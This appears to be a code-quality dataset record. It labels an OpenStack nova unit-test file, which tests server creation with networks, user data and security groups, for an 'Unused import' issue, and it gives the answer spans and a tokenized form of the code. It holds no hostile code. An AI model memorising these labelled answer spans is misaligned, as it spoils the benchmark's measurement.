"y", "Py", "WS", "GI", "Server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "wsgi", "ref_", "._", "headers_", "import_", "Headers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "git", "\\u", "http", "\\u", "backend_", "import_", "Git", "HTTP", "Back", "end", "Info", "Refs", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "git", "\\u", "http", "\\u", "backend_", "import_", "Git", "HTTP", "Back", "end", "Sma", "rt", "HTTP_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "git", "\\u", "http", "\\u", "backend_", "import_", "WS", "GI", "Handle", "r", "Selector_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "git", "\\u", "http", "\\u", "backend_", "import_", "Static", "WS", "GI", "Server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "gri", "t_", "._", "repo_", "import_", "Local_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "gri", "t_", "._", "repo_", "import_", "is", "\\u", "repo_", ",_", "get", "\\u", "repo", "\\u", "parent_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "gri", "t_", "._", "server_", "._", "handler_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "gri", "t_", "._", "exc_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "gri", "t_", "._", "log_", "import_", "log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "gri", "t_", "._", "cfg_", "import_", "GRI", "T", "\\u", "STATI", "C", "\\u", "DIR_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "need", "ed", " ", "for", " ", "static", " ", "content", " ", "server_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "email_", "._", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "mimetypes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mimetypes_", "._", "add", "\\u", "type_", "(_", "'", "applica", "tion", "/", "x", "-", "git", "-", "pack", "ed", "-", "object", "s", "-", "toc", "'_", ",_", "'.", "idx", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mimetypes_", "._", "add", "\\u", "type_", "(_", "'", "applica", "tion", "/", "x", "-", "git", "-", "pack", "ed", "-", "object", "s", "'_", ",_", "'.", "pack", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "all\\u\\u_", "=_", "[_", "'", "Server", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
nii-cloud/dodai-compute/nova/tests/api/openstack/contrib/test_createserverext.py
[ { "content": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2010-2011 OpenStack LLC.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport base64\nimport datetime\nimport json\nimport unittest\nfrom xml.dom import minidom\n\nimport stubout\nimport webob\n\nfrom nova import db\nfrom nova import exception\nfrom nova import flags\nfrom nova import test\nimport nova.api.openstack\nfrom nova.tests.api.openstack import fakes\n\n\nFLAGS = flags.FLAGS\nFLAGS.verbose = True\n\nFAKE_UUID = 'aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa'\n\nFAKE_NETWORKS = [('aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa', '10.0.1.12'),\n ('bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb', '10.0.2.12')]\n\nDUPLICATE_NETWORKS = [('aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa', '10.0.1.12'),\n ('aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa', '10.0.1.12')]\n\nINVALID_NETWORKS = [('invalid', 'invalid-ip-address')]\n\nINSTANCE = {\n \"id\": 1,\n \"display_name\": \"test_server\",\n \"uuid\": FAKE_UUID,\n \"created_at\": datetime.datetime(2010, 10, 10, 12, 0, 0),\n \"updated_at\": datetime.datetime(2010, 11, 11, 11, 0, 0),\n \"security_groups\": [{\"id\": 1, \"name\": \"test\"}]\n }\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def return_server_by_id(context, id, session=None):\n INSTANCE['id'] = id\n return INSTANCE", "metadata": "root.return_server_by_id", "header": "['module', '___EOS___']", "index": 57 }, { "content": "def return_security_group_non_existing(context, project_id, group_name):\n raise exception.SecurityGroupNotFoundForProject(project_id=project_id,\n security_group_id=group_name)", "metadata": "root.return_security_group_non_existing", "header": "['module', '___EOS___']", "index": 62 }, { "content": "def return_security_group_get_by_name(context, project_id, group_name):\n return {'id': 1, 'name': group_name}", "metadata": "root.return_security_group_get_by_name", "header": "['module', '___EOS___']", "index": 67 }, { "content": "def return_security_group_get(context, security_group_id, session):\n return {'id': security_group_id}", "metadata": "root.return_security_group_get", "header": "['module', '___EOS___']", "index": 71 }, { "content": "def return_instance_add_security_group(context, instance_id,\n security_group_id):\n pass", "metadata": "root.return_instance_add_security_group", "header": "['module', '___EOS___']", "index": 75 }, { "content": "class CreateserverextTest(test.TestCase):\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.CreateserverextTest", "header": "['module', '___EOS___']", "index": 80 }, { "content": " def setUp(self):\n super(CreateserverextTest, self).setUp()", "metadata": "root.CreateserverextTest.setUp", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 82 }, { "content": " def tearDown(self):\n super(CreateserverextTest, self).tearDown()", "metadata": "root.CreateserverextTest.tearDown", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 85 }, { "content": " def _setup_mock_compute_api(self):\n\n class MockComputeAPI(nova.compute.API):\n\n def __init__(self):\n self.injected_files = None\n self.networks = None\n self.user_data = None\n self.db = db\n\n def create(self, *args, **kwargs):\n if 'injected_files' in kwargs:\n self.injected_files = kwargs['injected_files']\n else:\n self.injected_files = None\n\n if 'requested_networks' in kwargs:\n self.networks = kwargs['requested_networks']\n else:\n self.networks = None\n\n if 'user_data' in kwargs:\n self.user_data = kwargs['user_data']\n\n return [{'id': '1234', 'display_name': 'fakeinstance',\n 'uuid': FAKE_UUID,\n 'user_id': 'fake',\n 'project_id': 'fake',\n 'created_at': \"\",\n 'updated_at': \"\"}]\n\n def set_admin_password(self, *args, **kwargs):\n pass\n\n def make_stub_method(canned_return):\n def stub_method(*args, **kwargs):\n return canned_return\n return stub_method\n\n compute_api = MockComputeAPI()\n self.stubs.Set(nova.compute, 'API', make_stub_method(compute_api))\n self.stubs.Set(\n nova.api.openstack.create_instance_helper.CreateInstanceHelper,\n '_get_kernel_ramdisk_from_image', make_stub_method((1, 1)))\n return compute_api", "metadata": "root.CreateserverextTest._setup_mock_compute_api", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 88 }, { "content": " def _create_security_group_request_dict(self, security_groups):\n server = {}\n server['name'] = 'new-server-test'\n server['imageRef'] = 1\n server['flavorRef'] = 1\n if security_groups is not None:\n sg_list = []\n for name in security_groups:\n sg_list.append({'name': name})\n server['security_groups'] = sg_list\n return {'server': server}", "metadata": "root.CreateserverextTest._create_security_group_request_dict", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 134 }, { "content": " def _create_networks_request_dict(self, networks):\n server = {}\n server['name'] = 'new-server-test'\n server['imageRef'] = 1\n server['flavorRef'] = 1\n if networks is not None:\n network_list = []\n for uuid, fixed_ip in networks:\n network_list.append({'uuid': uuid, 'fixed_ip': fixed_ip})\n server['networks'] = network_list\n return {'server': server}", "metadata": "root.CreateserverextTest._create_networks_request_dict", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 146 }, { "content": " def _create_user_data_request_dict(self, user_data):\n server = {}\n server['name'] = 'new-server-test'\n server['imageRef'] = 1\n server['flavorRef'] = 1\n server['user_data'] = user_data\n return {'server': server}", "metadata": "root.CreateserverextTest._create_user_data_request_dict", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 158 }, { "content": " def _get_create_request_json(self, body_dict):\n req = webob.Request.blank('/v1.1/123/os-create-server-ext')\n req.headers['Content-Type'] = 'application/json'\n req.method = 'POST'\n req.body = json.dumps(body_dict)\n return req", "metadata": "root.CreateserverextTest._get_create_request_json", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 166 }, { "content": " def _run_create_instance_with_mock_compute_api(self, request):\n compute_api = self._setup_mock_compute_api()\n response = request.get_response(fakes.wsgi_app())\n return compute_api, response", "metadata": "root.CreateserverextTest._run_create_instance_with_mock_compute_api", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 173 }, { "content": " def _format_xml_request_body(self, body_dict):\n server = body_dict['server']\n body_parts = []\n body_parts.extend([\n '<?xml version=\"1.0\" encoding=\"UTF-8\"?>',\n '<server xmlns=\"http://docs.rackspacecloud.com/servers/api/v1.1\"',\n ' name=\"%s\" imageRef=\"%s\" flavorRef=\"%s\">' % (\n server['name'], server['imageRef'], server['flavorRef'])])\n if 'metadata' in server:\n metadata = server['metadata']\n body_parts.append('<metadata>')\n for item in metadata.iteritems():\n body_parts.append('<meta key=\"%s\">%s</meta>' % item)\n body_parts.append('</metadata>')\n if 'personality' in server:\n personalities = server['personality']\n body_parts.append('<personality>')\n for file in personalities:\n item = (file['path'], file['contents'])\n body_parts.append('<file path=\"%s\">%s</file>' % item)\n body_parts.append('</personality>')\n if 'networks' in server:\n networks = server['networks']\n body_parts.append('<networks>')\n for network in networks:\n item = (network['uuid'], network['fixed_ip'])\n body_parts.append('<network uuid=\"%s\" fixed_ip=\"%s\"></network>'\n % item)\n body_parts.append('</networks>')\n body_parts.append('</server>')\n return ''.join(body_parts)", "metadata": "root.CreateserverextTest._format_xml_request_body", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 178 }, { "content": " def _get_create_request_xml(self, body_dict):\n req = webob.Request.blank('/v1.1/123/os-create-server-ext')\n req.content_type = 'application/xml'\n req.accept = 'application/xml'\n req.method = 'POST'\n req.body = self._format_xml_request_body(body_dict)\n return req", "metadata": "root.CreateserverextTest._get_create_request_xml", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 210 }, { "content": " def _create_instance_with_networks_json(self, networks):\n body_dict = self._create_networks_request_dict(networks)\n request = self._get_create_request_json(body_dict)\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n return request, response, compute_api.networks", "metadata": "root.CreateserverextTest._create_instance_with_networks_json", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 218 }, { "content": " def _create_instance_with_user_data_json(self, networks):\n body_dict = self._create_user_data_request_dict(networks)\n request = self._get_create_request_json(body_dict)\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n return request, response, compute_api.user_data", "metadata": "root.CreateserverextTest._create_instance_with_user_data_json", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 225 }, { "content": " def _create_instance_with_networks_xml(self, networks):\n body_dict = self._create_networks_request_dict(networks)\n request = self._get_create_request_xml(body_dict)\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n return request, response, compute_api.networks", "metadata": "root.CreateserverextTest._create_instance_with_networks_xml", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 232 }, { "content": " def test_create_instance_with_no_networks(self):\n request, response, networks = \\\n self._create_instance_with_networks_json(networks=None)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_no_networks", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 239 }, { "content": " def test_create_instance_with_no_networks_xml(self):\n request, response, networks = \\\n self._create_instance_with_networks_xml(networks=None)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_no_networks_xml", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 245 }, { "content": " def test_create_instance_with_one_network(self):\n request, response, networks = \\\n self._create_instance_with_networks_json([FAKE_NETWORKS[0]])\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, [FAKE_NETWORKS[0]])", "metadata": "root.CreateserverextTest.test_create_instance_with_one_network", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 251 }, { "content": " def test_create_instance_with_one_network_xml(self):\n request, response, networks = \\\n self._create_instance_with_networks_xml([FAKE_NETWORKS[0]])\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, [FAKE_NETWORKS[0]])", "metadata": "root.CreateserverextTest.test_create_instance_with_one_network_xml", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 257 }, { "content": " def test_create_instance_with_two_networks(self):\n request, response, networks = \\\n self._create_instance_with_networks_json(FAKE_NETWORKS)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, FAKE_NETWORKS)", "metadata": "root.CreateserverextTest.test_create_instance_with_two_networks", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 263 }, { "content": " def test_create_instance_with_two_networks_xml(self):\n request, response, networks = \\\n self._create_instance_with_networks_xml(FAKE_NETWORKS)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, FAKE_NETWORKS)", "metadata": "root.CreateserverextTest.test_create_instance_with_two_networks_xml", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 269 }, { "content": " def test_create_instance_with_duplicate_networks(self):\n request, response, networks = \\\n self._create_instance_with_networks_json(DUPLICATE_NETWORKS)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_duplicate_networks", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 275 }, { "content": " def test_create_instance_with_duplicate_networks_xml(self):\n request, response, networks = \\\n self._create_instance_with_networks_xml(DUPLICATE_NETWORKS)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_duplicate_networks_xml", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 281 }, { "content": " def test_create_instance_with_network_no_id(self):\n body_dict = self._create_networks_request_dict([FAKE_NETWORKS[0]])\n del body_dict['server']['networks'][0]['uuid']\n request = self._get_create_request_json(body_dict)\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(compute_api.networks, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_network_no_id", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 287 }, { "content": " def test_create_instance_with_network_no_id_xml(self):\n body_dict = self._create_networks_request_dict([FAKE_NETWORKS[0]])\n request = self._get_create_request_xml(body_dict)\n uuid = ' uuid=\"aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa\"'\n request.body = request.body.replace(uuid, '')\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(compute_api.networks, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_network_no_id_xml", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 296 }, { "content": " def test_create_instance_with_network_invalid_id(self):\n request, response, networks = \\\n self._create_instance_with_networks_json(INVALID_NETWORKS)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_network_invalid_id", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 306 }, { "content": " def test_create_instance_with_network_invalid_id_xml(self):\n request, response, networks = \\\n self._create_instance_with_networks_xml(INVALID_NETWORKS)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_network_invalid_id_xml", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 312 }, { "content": " def test_create_instance_with_network_empty_fixed_ip(self):\n networks = [('1', '')]\n request, response, networks = \\\n self._create_instance_with_networks_json(networks)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_network_empty_fixed_ip", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 318 }, { "content": " def test_create_instance_with_network_non_string_fixed_ip(self):\n networks = [('1', 12345)]\n request, response, networks = \\\n self._create_instance_with_networks_json(networks)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_network_non_string_fixed_ip", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 325 }, { "content": " def test_create_instance_with_network_empty_fixed_ip_xml(self):\n networks = [('1', '')]\n request, response, networks = \\\n self._create_instance_with_networks_xml(networks)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_network_empty_fixed_ip_xml", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 332 }, { "content": " def test_create_instance_with_network_no_fixed_ip(self):\n body_dict = self._create_networks_request_dict([FAKE_NETWORKS[0]])\n del body_dict['server']['networks'][0]['fixed_ip']\n request = self._get_create_request_json(body_dict)\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(compute_api.networks,\n [('aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa', None)])", "metadata": "root.CreateserverextTest.test_create_instance_with_network_no_fixed_ip", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 339 }, { "content": " def test_create_instance_with_network_no_fixed_ip_xml(self):\n body_dict = self._create_networks_request_dict([FAKE_NETWORKS[0]])\n request = self._get_create_request_xml(body_dict)\n request.body = request.body.replace(' fixed_ip=\"10.0.1.12\"', '')\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(compute_api.networks,\n [('aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa', None)])", "metadata": "root.CreateserverextTest.test_create_instance_with_network_no_fixed_ip_xml", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 349 }, { "content": " def test_create_instance_with_userdata(self):\n user_data_contents = '#!/bin/bash\\necho \"Oh no!\"\\n'\n user_data_contents = base64.b64encode(user_data_contents)\n request, response, user_data = \\\n self._create_instance_with_user_data_json(user_data_contents)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(user_data, user_data_contents)", "metadata": "root.CreateserverextTest.test_create_instance_with_userdata", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 359 }, { "content": " def test_create_instance_with_userdata_none(self):\n user_data_contents = None\n request, response, user_data = \\\n self._create_instance_with_user_data_json(user_data_contents)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(user_data, user_data_contents)", "metadata": "root.CreateserverextTest.test_create_instance_with_userdata_none", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 367 }, { "content": " def test_create_instance_with_userdata_with_non_b64_content(self):\n user_data_contents = '#!/bin/bash\\necho \"Oh no!\"\\n'\n request, response, user_data = \\\n self._create_instance_with_user_data_json(user_data_contents)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(user_data, None)", "metadata": "root.CreateserverextTest.test_create_instance_with_userdata_with_non_b64_content", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 374 }, { "content": " def test_create_instance_with_security_group_json(self):\n security_groups = ['test', 'test1']\n self.stubs.Set(nova.db.api, 'security_group_get_by_name',\n return_security_group_get_by_name)\n self.stubs.Set(nova.db.api, 'instance_add_security_group',\n return_instance_add_security_group)\n body_dict = self._create_security_group_request_dict(security_groups)\n request = self._get_create_request_json(body_dict)\n response = request.get_response(fakes.wsgi_app())\n self.assertEquals(response.status_int, 202)", "metadata": "root.CreateserverextTest.test_create_instance_with_security_group_json", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 381 }, { "content": " def test_get_server_by_id_verify_security_groups_json(self):\n self.stubs.Set(nova.db.api, 'instance_get', return_server_by_id)\n req = webob.Request.blank('/v1.1/123/os-create-server-ext/1')\n req.headers['Content-Type'] = 'application/json'\n response = req.get_response(fakes.wsgi_app())\n self.assertEquals(response.status_int, 200)\n res_dict = json.loads(response.body)\n expected_security_group = [{\"name\": \"test\"}]\n self.assertEquals(res_dict['server']['security_groups'],\n expected_security_group)", "metadata": "root.CreateserverextTest.test_get_server_by_id_verify_security_groups_json", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 392 }, { "content": " def test_get_server_by_id_verify_security_groups_xml(self):\n self.stubs.Set(nova.db.api, 'instance_get', return_server_by_id)\n req = webob.Request.blank('/v1.1/123/os-create-server-ext/1')\n req.headers['Accept'] = 'application/xml'\n response = req.get_response(fakes.wsgi_app())\n self.assertEquals(response.status_int, 200)\n dom = minidom.parseString(response.body)\n server = dom.childNodes[0]\n sec_groups = server.getElementsByTagName('security_groups')[0]\n sec_group = sec_groups.getElementsByTagName('security_group')[0]\n self.assertEqual(INSTANCE['security_groups'][0]['name'],\n sec_group.getAttribute(\"name\"))", "metadata": "root.CreateserverextTest.test_get_server_by_id_verify_security_groups_xml", "header": "['class', 'CreateserverextTest', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 403 } ]
[ { "span": "import unittest", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 15 }, { "span": "import stubout", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 14 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "vim", ":", " ", "tabs", "top", "=", "4", " ", "shift", "widt", "h", "=", "4", " ", "soft", "tabs", "top", "=", "4_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2010", "-", "2011", " ", "Open", "Stack", " ", "LLC", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "Rig", "hts", " ", "Reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", " ", "you", " ", "may", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", ".", " ", "You", " ", "may", " ", "obtain", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",", " ", "WITH", "OUT_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", ".", " ", "See", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and", " ", "limit", "ations_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xml_", "._", "dom_", "import_", "minidom_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "stub", "out_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "webob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "nova_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nova_", "import_", "exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nova_", "import_", "flags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nova_", "import_", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "nova_", "._", "api_", "._", "openstack_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nova_", "._", "tests_", "._", "api_", "._", "openstack_", "import_", "fakes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "FLAGS_", "=_", "flags_", "._", "FLAGS_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FLAGS_", "._", "verbose_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "FAKE", "\\u", "UUID_", "=_", "'", "aaaaaaaa", "-", "aaa", "a", "-", "aaa", "a", "-", "aaa", "a", "-", "aaaaaaaa", "aaa", "a", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "FAKE", "\\u", "NET", "WORKS", "_", "=_", "[_", "(_", "'", "aaaaaaaa", "-", "aaa", "a", "-", "aaa", "a", "-", "aaa", "a", "-", "aaaaaaaa", "aaa", "a", "'_", ",_", "'", "10.", "0.", "1.1", "2", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "bbbbb", "bbb", "-", "bbb", "b", "-", "bbb", "b", "-", "bbb", "b", "-", "bbbbb", "bbbbb", "bb", "'_", ",_", "'", "10.", "0.", "2.1", "2", "'_", ")_", "]_", 